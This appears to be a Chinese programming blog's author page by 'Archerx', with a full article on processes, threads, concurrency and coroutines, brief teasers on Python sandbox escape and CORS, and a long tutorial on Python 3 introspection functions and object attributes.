Archerx 发布的文章

聊一聊多CPU,多核,多进程,多线程

正文

当面临这些问题的时候,有两个关键词无法绕开,那就是并行和并发。

首先,要先了解几个概念:
  1.进程是程序的一次执行。
  2.进程是资源分配的基本单位(调度单位)。
  3.一个进程可以包括多个线程。
  4.在单CPU计算机中,有一个资源是无法被多个程序并行使用的:CPU。
  5.操作系统调度器:拆分CPU为一段段时间的运行片,轮流分配给不同的程序。
  6.操作系统内存管理模块:管理物理内存、虚拟内存相关的事务。

  由于CPU同时刻只能执行一个进程,如果我们不加以控制的话,一个进程可能使用CPU直到运行结束,于是出现了操作系统调度器,而进程也成为了调度单位。

  进程的运行不仅仅需要CPU,还需要很多其他资源,如内存啊,显卡啊,GPS啊,磁盘啊等等,统称为程序的执行环境,也就是程序上下文。

  在这里就出现了并发的概念,调度器切换CPU给不同进程使用的速度非常快,于是在使用者看来程序是在同时运行,这就是并发,而实际上CPU在同一时刻只在运行一个进程。

  CPU进程无法同时刻共享,但是出现一定要共享CPU的需求呢?此时线程的概念就出现了。线程被包含在进程当中,进程的不同线程间共享CPU和程序上下文。(共享进程分配到的资源)

  单CPU进行进程调度的时候,需要读取上下文+执行程序+保存上下文,即进程切换。

  如果这个CPU是单核的话,那么在进程中的不同线程为了使用CPU核心,则会进行线程切换,但是由于共享了程序执行环境,这个线程切换比进程切换开销少了很多。在这里依然是并发,唯一核心同时刻只能执行一个线程。

  如果这个CPU是多核的话,那么进程中的不同线程可以使用不同核心,真正的并行出现了。

  线程是CPU调度和分配的基本单位,一定要和 进程是操作系统进行资源分配(包括cpu、内存、磁盘IO等)的最小单位 区别清楚。有句话说CPU只能看到线程,可以这么理解,假设我是CPU,我闭着眼,操作系统调度器将一个进程分配给我之后,我拿到进程睁开眼,我看到的是什么?我看到的是进程中的很多线程,那么我现在能调度和分配的是什么?进程?不行,因为我看不到其他进程,何来调度分配,只能调度我看到的那些线程,如果我是4核的话,把线程ABCD分配到核心1234,其他的线程依然要等待分配,至于等待多久,如何分配,暂不在本文讨论范围。于是线程是CPU调度和分配的基本单位。

  最后说一下操作系统内存管理模块这里做的事:在这之前,程序员需要为每个程序安排运行的空间,这里的空间指的是内存的物理地址,但是这么的问题就是,每个程序都要协商如何使用同一内存的不同空间,而且程序员还要关心底层内存分配问题。解决办法就是,提出进程的概念,每个进程用一样的虚拟地址空间,CPU上增加了MMU模块负责转换虚拟地址和物理地址,虚拟地址经过操作系统和MMU之后,虚拟地址会映射到不同的物理地址,不同的进程就能获得各自独立的物理内存空间。

  另外在有的操作系统里,进程不是调度单位,线程是最基本的调度单位,调度器只调度线程,不调度进程,如VxWorks。

总结:

  1. 单CPU中进程只能是并发,多CPU计算机中进程可以并行。
  2. 单CPU单核中线程只能并发,单CPU多核中线程可以并行。
  3. 无论是并发还是并行,使用者来看,看到的是多进程,多线程。


拓展 2019.9.23

下面是我自己总结的相关问题,如果你很清楚明白,恭喜你已经入门了。如果还是含糊不清看看下面博客吧~

  1. python不同进程之间如何通信?
  2. 就python而言,为什么多线程适合处理IO密集型却不适合CPU密集型?
  3. 有了GIL,为什么在编写多线程是依旧要使用锁(如互斥锁)来保证线程安全?
  4. 在python编程中,用多进程代替多线程提高程序执行效率的原理?
  5. 多进程数量与cpu核数比例?原理?

拓展 2019.10.8

协程是一种用户态的轻量级线程,协程的调度完全由用户控制。协程拥有自己的寄存器上下文和栈。协程调度切换时,将寄存器上下文和栈保存到其他地方,在切回来的时候,恢复先前保存的寄存器上下文和栈,直接操作栈则基本没有内核切换的开销,可以不加锁的访问全局变量,所以上下文的切换非常快。

通俗的理解:在⼀个线程中的某个函数,可以在任何地⽅保存当前函数的⼀
些临时变量等信息,然后切换到另外⼀个函数中执⾏,注意不是通过调⽤函
数的⽅式做到的,并且切换的次数以及什么时候再切换到原来的函数都由开
发者⾃⼰确定

协程多与线程进行比较

  1. 一个线程可以多个协程,一个进程也可以单独拥有多个协程,这样python中则能使用多核CPU。
  2. 线程进程都是同步机制,而协程则是异步
  3. 协程能保留上一次调用时的状态,每次过程重入时,就相当于进入上一次调用的状态
  4. 不需要锁,并发性高,如果单线程内切换函数,性能远高于线程切换,并发性更高。

阻塞与非阻塞指的是程序的两种运行状态:

  • 阻塞:阻塞的概念往往伴随着线程。是指在调用结果返回之前,当前线程会被挂起(释放cpu等资源)。调用线程只有在得到结果之后才会被唤醒执行后续的操作。
  • 非阻塞:在结果没有返回之前,该调用不会阻塞住当前线程,力求尽可能多的占有CPU

同步与异步指的是提交任务的两种方式(请求发出后,是否需要等待请求结果,才能继续执行其他操作。):

  • 同步调用:提交完任务后,就在原地等待,直到任务运行完毕后,拿到任务的返回值,才继续执行下一行代码
  • 异步调用:提交完任务后,不在原地等待(不需要依赖返回结果),直接执行下一行代码

其实,这两者存在本质的区别,面向的对象是不同的。

  • 阻塞/非阻塞:进程/线程需要操作的数据如果尚未就绪,是否妨碍了当前进程/线程的后续操作。
  • 同步/异步:数据如果尚未就绪,是否需要等待数据结果。

一个小故事

故事:小A烧开水。

出场人物:小A出场道具:普通水壶(放在煤气灶上的那种,为了方便简称:水壶);会响的水壶(水烧开了会响的那种,简称:响壶)。故事目的:小A要拿开水泡咖啡

  • 小A为了实现目的,指定了4个计划:

1- 用水壶烧水,并且站在煤气灶旁边,啥事不干,两眼直勾勾的盯着水壶,等水烧开。烧开后就去泡咖啡。同步阻塞

  • 假设烧水和泡咖啡是在同一个线程中执行。

2- 仍然用水壶煮水,不过此时不再傻傻得站在那里看水开没开,而是去玩局LOL,每当自己死了,就过来看看水开了没有。如果水开了就去泡咖啡。同步非阻塞

  • 假设这里玩LOL,是另一个线程运行的。

3- 动用响壶烧水,仍然站在煤气灶旁边,不过此时不两眼直勾勾的盯着壶了,而是听响,因为响壶水开时会用响声通知小A。异步阻塞
4- 在计划3的基础上,小A不站在煤气灶旁边了,而是去玩局LOL,等听到响壶的声音提醒后,再去跑咖啡。异步非阻塞

所以协程属于异步非阻塞

线程阻塞示例

# encoding: UTF-8
import threading
import time

class MyThread(threading.Thread):
    def run(self):
        for i in range(3):
            time.sleep(1)
            msg = "I'm "+self.name+' @ '+str(i)
            print msg
def test():
    for i in range(5):
        t = MyThread()
        t.start()
if __name__ == '__main__':
    test()

执行结果:
I'm Thread-1 @ 0
I'm Thread-2 @ 0
I'm Thread-5 @ 0
I'm Thread-3 @ 0
I'm Thread-4 @ 0
I'm Thread-3 @ 1
I'm Thread-4 @ 1
I'm Thread-5 @ 1
I'm Thread-1 @ 1
I'm Thread-2 @ 1
I'm Thread-4 @ 2
I'm Thread-5 @ 2
I'm Thread-2 @ 2
I'm Thread-1 @ 2
I'm Thread-3 @ 2

从代码和执行结果我们可以看出,多线程程序的执行顺序是不确定的。当执行到sleep语句时,线程将被阻塞(Blocked)(sleep未完成妨碍后续操作),到sleep结束后,线程进入就绪(Runnable)状态,等待调度。而线程调度将自行选择一个线程执行。上面的代码中只能保证每个线程都运行完整个run函数,但是线程的启动顺序、run函数中每次循环的执行顺序都不能确定。

此外需要注意的是:

  1. 每个线程一定会有一个名字,尽管上面的例子中没有指定线程对象的name,但是python会自动为线程指定一个名字。
  2. 当线程的run()方法结束时该线程完成。
  3. 无法控制线程调度程序,但可以通过别的方式来影响线程调度的方式。

参考

Python 沙箱逃逸总结一下

前言

python沙箱逃逸主要是用于一些沙箱环境,如一些OJ或者一些在线交互终端,以及jinja2这种python模板解释器

沙箱一般是限制指定函数的运行,或者对指定模块的删除以及过滤

沙箱逃逸就是要逃离这种限制,让对方服务器运行我们指定的恶意代码,以达到getshell或者文件读取的目的

- 阅读剩余部分 -

关于跨域问题

前言

浏览器同源策略(SOP)导致了跨域。

同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。

找到很不错的几篇文章

[未完]Python3自省机制

前言

在计算机编程中,自省是指这种能力:检查某些事物以确定它是什么、它知道什么以及它能做什么。自省向程序员提供了极大的灵活性和控制力。

说的更简单直白一点:自省就是面向对象的语言所写的程序在运行时,能够知道对象的类型。简单一句就是,运行时能够获知对象的类型。

help()

python提供的一个自带帮助

modules:显示模块
keywords:显示关键字
symbols:显示操作符
topics:显示常见主题

访问对象属性

dir()

dir 就是把对象大部分的属性(非模块对象也包括类属性,父类属性等)放到一个list中。

如果不指定对象,则 dir() 返回当前作用域中的名称。

>>> dir(print)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']
>>> dir()
['__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__']
#__builtins__  是python内置属性
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

#可以看到help、print、type等内置函数方法或者类都在里面,如下:
>>> type(type)
<class 'type'>
>>> type(print)
<class 'builtin_function_or_method'>
>>> type(type)
<class 'type'>

hasattr()

hasattr(obj, attr):

这个方法用于检查obj是否有一个名为attr的值的属性,返回一个布尔值。

setattr()

setattr(obj, attr, val):

调用这个方法将给obj的名为attr的值的属性赋值为val。例如如果attr为'bar',则相当于obj.bar = val。

getattr()

返回对象元数据

当你对一个你构造的对象使用dir()时,可能会发现列表中的很多属性并不是你定义的。这些属性一般保存了对象的元数据,比如类的__name__属性保存了类名。大部分这些属性都可以修改,不过改动它们意义并不是很大;修改其中某些属性如function.func_code还可能导致很难发现的问题,所以改改name什么的就好了,其他的属性不要在不了解后果的情况下修改。

isinstance()

isinstance(obj, class_or_tuple)就是判断对象 obj 是否为 class_or_tuple 的实例或者其中一 个类的实例。

>>> isinstance("archerx",str)
True
>>> type(str)
<class 'type'>
>>> isinstance(a,type)     #a是type的实例
True
>>> isinstance(int,type)    #同上
True

模块(module)

  • __doc__: 文档字符串。如果模块没有文档,这个值是None。
  • __name__: 始终是定义时的模块名;即使你使用import .. as 为它取了别名,或是赋值给了另一个变量名。
  • __dict__: 包含了模块里可用的属性名-属性的字典;也就是可以使用模块名.属性名访问的对象。
>>> import sys
>>> sys.__doc__
"This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n  To customize printing in an interactive session or to install a custom\n  top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n  By assigning other file objects (or objects that behave like files)\n  to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n  These three are only available in an interactive session after a\n  traceback has been printed.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a struct sequence with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a struct sequence with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a struct sequence with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a struct sequence with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\ndllhandle -- [Windows only] integer handle of the Python DLL\nwinver -- [Windows only] version number of the Python DLL\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexc_info() -- return thread-safe information about the current exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing function\nsetcheckinterval() -- control how often the interpreter checks for events\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n"
>>> sys.__name__
'sys'
>>> sys.__dict__
{'prefix': 'C:\\Python34', 'executable': 'C:\\Python34\\python34.exe', 'builtin_module_names': ('_ast', '_bisect', '_codecs', '_codecs_cn', '_codecs_hk', '_codecs_iso2022', '_codecs_jp', '_codecs_kr', '_codecs_tw', '_collections', '_csv', '_datetime', '_functools', '_heapq', '_imp', '_io', '_json', '_locale', '_lsprof', '_md5', '_multibytecodec', '_opcode', '_operator', '_pickle', '_random', '_sha1', '_sha256', '_sha512', '_sre', '_stat', '_string', '_struct', '_symtable', '_thread', '_tracemalloc', '_warnings', '_weakref', '_winapi', 'array', 'atexit', 'audioop', 'binascii', 'builtins', 'cmath', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'math', 'mmap', 'msvcrt', 'nt', 'parser', 'signal', 'sys', 'time', 'winreg', 'xxsubtype', 'zipimport', 'zlib'), 'gettrace': <built-in function gettrace>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, 'setswitchinterval': <built-in function setswitchinterval>, 'hexversion': 50595056, '__interactivehook__': <function enablerlcompleter.<locals>.register_readline at 0x0270A540>, 'getrefcount': <built-in function getrefcount>, 'exit': <built-in function exit>, 'last_value': AttributeError("'str' object has no attribute '__file__'",), 'implementation': namespace(cache_tag='cpython-34', hexversion=50595056, name='cpython', version=sys.version_info(major=3, minor=4, micro=4, releaselevel='final', serial=0)), '_getframe': <built-in function _getframe>, 'getwindowsversion': <built-in function getwindowsversion>, '__excepthook__': <built-in function excepthook>, 'maxsize': 2147483647, 'getsizeof': <built-in function getsizeof>, 'call_tracing': <built-in function call_tracing>, 'copyright': 'Copyright (c) 2001-2015 Python Software Foundation.\nAll Rights Reserved.\n\nCopyright (c) 2000 BeOpen.com.\nAll Rights Reserved.\n\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\nAll Rights Reserved.\n\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\nAll Rights Reserved.', 'setprofile': <built-in function setprofile>, 'displayhook': <built-in function displayhook>, '__stdin__': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='cp936'>, '__spec__': ModuleSpec(name='sys', loader=<class '_frozen_importlib.BuiltinImporter'>), 'callstats': <built-in function callstats>, 'argv': [''], 'maxunicode': 1114111, 'float_info': sys.float_info(max=1.7976931348623157e+308, max_exp=1024, max_10_exp=308, min=2.2250738585072014e-308, min_exp=-1021, min_10_exp=-307, dig=15, mant_dig=53, epsilon=2.220446049250313e-16, radix=2, rounds=1), '_mercurial': ('CPython', 'v3.4.4', '737efcadf5a6'), 'flags': sys.flags(debug=0, inspect=0, interactive=0, optimize=0, dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0), 'getcheckinterval': <built-in function getcheckinterval>, 'getswitchinterval': <built-in function getswitchinterval>, 'meta_path': [<class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib.WindowsRegistryFinder'>, <class '_frozen_importlib.PathFinder'>], 'base_prefix': 'C:\\Python34', 'version_info': sys.version_info(major=3, minor=4, micro=4, releaselevel='final', serial=0), 'exc_info': <built-in function exc_info>, 'byteorder': 'little', 'getallocatedblocks': <built-in function getallocatedblocks>, 'stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='cp936'>, 'path_importer_cache': {'C:\\Python34': FileFinder('C:\\Python34'), 'C:\\Python34\\lib\\site-packages': FileFinder('C:\\Python34\\lib\\site-packages'), 'C:\\Python34\\DLLs': FileFinder('C:\\Python34\\DLLs'), 'C:\\Users\\徐超': FileFinder('C:\\Users\\徐超'), 'C:\\Python34\\lib\\encodings': FileFinder('C:\\Python34\\lib\\encodings'), 'C:\\Python34\\lib': FileFinder('C:\\Python34\\lib'), 'C:\\Users\\徐超\\AppData\\Roaming\\Python\\Python34\\site-packages': FileFinder('C:\\Users\\徐超\\AppData\\Roaming\\Python\\Python34\\site-packages'), 'C:\\WINDOWS\\SYSTEM32\\python34.zip': None}, '__displayhook__': <built-in function displayhook>, 'setcheckinterval': <built-in function setcheckinterval>, 'ps1': '>>> ', 'float_repr_style': 'short', '__name__': 'sys', '_current_frames': <built-in function _current_frames>, '_xoptions': {}, 'last_type': <class 'AttributeError'>, 'thread_info': sys.thread_info(name='nt', lock=None, version=None), 'ps2': '... ', '_clear_type_cache': <built-in function _clear_type_cache>, 'stderr': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='cp936'>, 'base_exec_prefix': 'C:\\Python34', 'warnoptions': [], 'getrecursionlimit': <built-in function getrecursionlimit>, 'intern': <built-in function intern>, 'getfilesystemencoding': <built-in function getfilesystemencoding>, 'dllhandle': 502202368, 'winver': '3.4', 'path_hooks': [<class 'zipimport.zipimporter'>, <function FileFinder.path_hook.<locals>.path_hook_for_FileFinder at 0x0269A150>], '_home': None, '__doc__': "This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n  To customize printing in an interactive session or to install a custom\n  top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n  By assigning other file objects (or objects that behave like files)\n  to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n  These three are only available in an interactive session after a\n  traceback has been printed.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a struct sequence with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a struct sequence with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a struct sequence with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a struct sequence with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\ndllhandle -- [Windows only] integer handle of the Python DLL\nwinver -- [Windows only] version number of the Python DLL\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexc_info() -- return thread-safe information about the current exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing function\nsetcheckinterval() -- control how often the interpreter checks for events\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n", 'last_traceback': <traceback object at 0x0271DBC0>, 'dont_write_bytecode': False, 'hash_info': sys.hash_info(width=32, modulus=2147483647, inf=314159, nan=0, imag=1000003, algorithm='siphash24', hash_bits=64, seed_bits=128, cutoff=0), 'getdefaultencoding': <built-in function getdefaultencoding>, 'exec_prefix': 'C:\\Python34', 'path': ['', 'C:\\WINDOWS\\SYSTEM32\\python34.zip', 'C:\\Python34\\DLLs', 'C:\\Python34\\lib', 'C:\\Python34', 'C:\\Users\\徐超\\AppData\\Roaming\\Python\\Python34\\site-packages', 'C:\\Python34\\lib\\site-packages'], 'excepthook': <built-in function excepthook>, 'platform': 'win32', 'stdin': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='cp936'>, 'version': '3.4.4 (v3.4.4:737efcadf5a6, Dec 20 2015, 19:28:18) [MSC v.1600 32 bit (Intel)]', 'settrace': <built-in function settrace>, 'modules': {'os.path': <module 'ntpath' from 'C:\\Python34\\lib\\ntpath.py'>, '_locale': <module '_locale' (built-in)>, '_codecs_cn': <module '_codecs_cn' (built-in)>, 'errno': <module 'errno' (built-in)>, 'encodings.utf_8': <module 'encodings.utf_8' from 'C:\\Python34\\lib\\encodings\\utf_8.py'>, 'signal': <module 'signal' (built-in)>, '__main__': <module '__main__' (built-in)>, 'abc': <module 'abc' from 'C:\\Python34\\lib\\abc.py'>, 'io': <module 'io' from 'C:\\Python34\\lib\\io.py'>, 'encodings.mbcs': <module 'encodings.mbcs' from 'C:\\Python34\\lib\\encodings\\mbcs.py'>, 'atexit': <module 'atexit' (built-in)>, '_stat': <module '_stat' (built-in)>, 'os': <module 'os' from 'C:\\Python34\\lib\\os.py'>, '_warnings': <module '_warnings' (built-in)>, 'encodings.latin_1': <module 'encodings.latin_1' from 'C:\\Python34\\lib\\encodings\\latin_1.py'>, '_thread': <module '_thread' (built-in)>, 'encodings': <module 'encodings' from 'C:\\Python34\\lib\\encodings\\__init__.py'>, '_codecs': <module '_codecs' (built-in)>, '_multibytecodec': <module '_multibytecodec' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'codecs': <module 'codecs' from 'C:\\Python34\\lib\\codecs.py'>, 'ntpath': <module 'ntpath' from 'C:\\Python34\\lib\\ntpath.py'>, '_weakrefset': <module '_weakrefset' from 'C:\\Python34\\lib\\_weakrefset.py'>, 'sys': <module 'sys' (built-in)>, 'keyword': <module 'keyword' from 'C:\\Python34\\lib\\keyword.py'>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, 'sysconfig': <module 'sysconfig' from 'C:\\Python34\\lib\\sysconfig.py'>, 'zipimport': <module 'zipimport' (built-in)>, '_weakref': <module '_weakref' (built-in)>, 'nt': <module 'nt' (built-in)>, 'winreg': <module 'winreg' (built-in)>, '_io': <module 'io' (built-in)>, 'genericpath': <module 'genericpath' from 'C:\\Python34\\lib\\genericpath.py'>, 'site': <module 'site' from 'C:\\Python34\\lib\\site.py'>, 'encodings.gbk': <module 'encodings.gbk' from 'C:\\Python34\\lib\\encodings\\gbk.py'>, 'encodings.aliases': <module 'encodings.aliases' from 'C:\\Python34\\lib\\encodings\\aliases.py'>, '_imp': <module '_imp' (built-in)>, 'stat': <module 'stat' from 'C:\\Python34\\lib\\stat.py'>, '_sitebuiltins': <module '_sitebuiltins' from 'C:\\Python34\\lib\\_sitebuiltins.py'>, '_collections_abc': <module '_collections_abc' from 'C:\\Python34\\lib\\_collections_abc.py'>, '_bootlocale': <module '_bootlocale' from 'C:\\Python34\\lib\\_bootlocale.py'>}, 'setrecursionlimit': <built-in function setrecursionlimit>, '__stdout__': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='cp936'>, 'getprofile': <built-in function getprofile>, '__stderr__': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='cp936'>, '_debugmallocstats': <built-in function _debugmallocstats>, 'api_version': 1013, 'int_info': sys.int_info(bits_per_digit=15, sizeof_digit=2), '__package__': ''}

类(class)

__doc__: 文档字符串。如果类没有文档,这个值是None。

__dict__: 包含了类里可用的属性名-属性的字典;也就是可以使用类名.属性名访问的对象。

__module__: 包含该类的定义的模块名;需要注意,是字符串形式的模块名而不是模块对象。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Archerx
# @time: 2019/3/14 下午 10:20

class test:
    def __init__(self,name):
        self.name = name

    def SayHi(self):
        print('Hi ,'+ self.name)

if __name__ == '__main__':
    t = test('archerx')
    t.SayHi()
    print(t.__doc__)   #None
    print(t.__module__)   #__main__
    print(t.__dict__)     #{'name':'archerx'}
    print(t.__class__)   #<class '__main__.test'>

实例(instance)

指的是实例化后的对象

__dict__: 包含了可用的属性名-属性字典。

__class_: 该实例的类[对象]。对于类Cat,cat.__class_ == Cat 为 True。

接上面例子
print(t.__class__ == test)    #True

内建函数和方法(built-in functions and methods)

根据定义,内建的(built-in)模块是指使用C写的模块,可以通过sys模块的builtin_module_names字段查看都有哪些模块是内建的。这些模块中的函数和方法可以使用的属性比较少,不过一般也不需要在代码中查看它们的信息。

__doc__: 函数或方法的文档。

__name__: 函数或方法定义时的名字。

>>> import sys
>>> sys.builtin_module_names
('_ast', '_bisect', '_codecs', '_codecs_cn', '_codecs_hk', '_codecs_iso2022', '_codecs_jp', '_codecs_kr', '_codecs_tw', '_collections', '_csv', '_datetime', '_functools', '_heapq', '_imp', '_io', '_json', '_locale', '_lsprof', '_md5', '_multibytecodec', '_opcode', '_operator', '_pickle', '_random', '_sha1', '_sha256', '_sha512', '_sre', '_stat', '_string', '_struct', '_symtable', '_thread', '_tracemalloc', '_warnings', '_weakref', '_winapi', 'array', 'atexit', 'audioop', 'binascii', 'builtins', 'cmath', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'math', 'mmap', 'msvcrt', 'nt', 'parser', 'signal', 'sys', 'time', 'winreg', 'xxsubtype', 'zipimport', 'zlib')

>>> import math
>>> math.__doc__
'This module is always available.  It provides access to the\nmathematical functions defined by the C standard.'
>>> math.__name__
'math'

函数

__doc__: 函数的文档;另外也可以用属性名func_doc。

__name__: 函数定义时的函数名;另外也可以用属性名func_name。

__module__: 包含该函数定义的模块名;同样注意,是模块名而不是模块对象。

__dict__: 函数的可用属性;另外也可以用属性名func_dict。
不要忘了函数也是对象,可以使用函数.属性名访问属性(赋值时如果属性不存在将新增一个),或使用内置函数has/get/setattr()访问。不过,在函数中保存属性的意义并不大。

def test():
    n = 1
    def inner():
        print(n)
    n = 2
    return inner

closure = test()
print(dir(closure))
print(closure.__closure__)
print(dir(closure.__closure__))
print(closure.__doc__) #None
print(closure.__name__) #inner
print(closure.__module__) #__main__
print(closure.__dict__) #__main__

方法(method)

方法虽然不是函数,但可以理解为在函数外面加了一层外壳;拿到方法里实际的函数以后,既可以使用上面函数的一些属性了

callable

返回对象能否被调用,能调用就返回True不能就返回False

>>> callable(print)
True
>>> callable(type)
True
>>> callable(lambda x: x+1)
True
>>>

issubclass

>>> issubclass(bool,int)   # bool 是 int 的子类。
True

type()

对象拥有属性,并且 dir() 函数会返回这些属性的列表。但是,有时我们只想测试一个或多个属性是否存在。如果对象具有我们正在考虑的属性,那么通常希望只检索该属性。这个任务可以由 hasattr() 和 getattr() 函数来完成.

>>> dir(a)   #返回对象所有属性
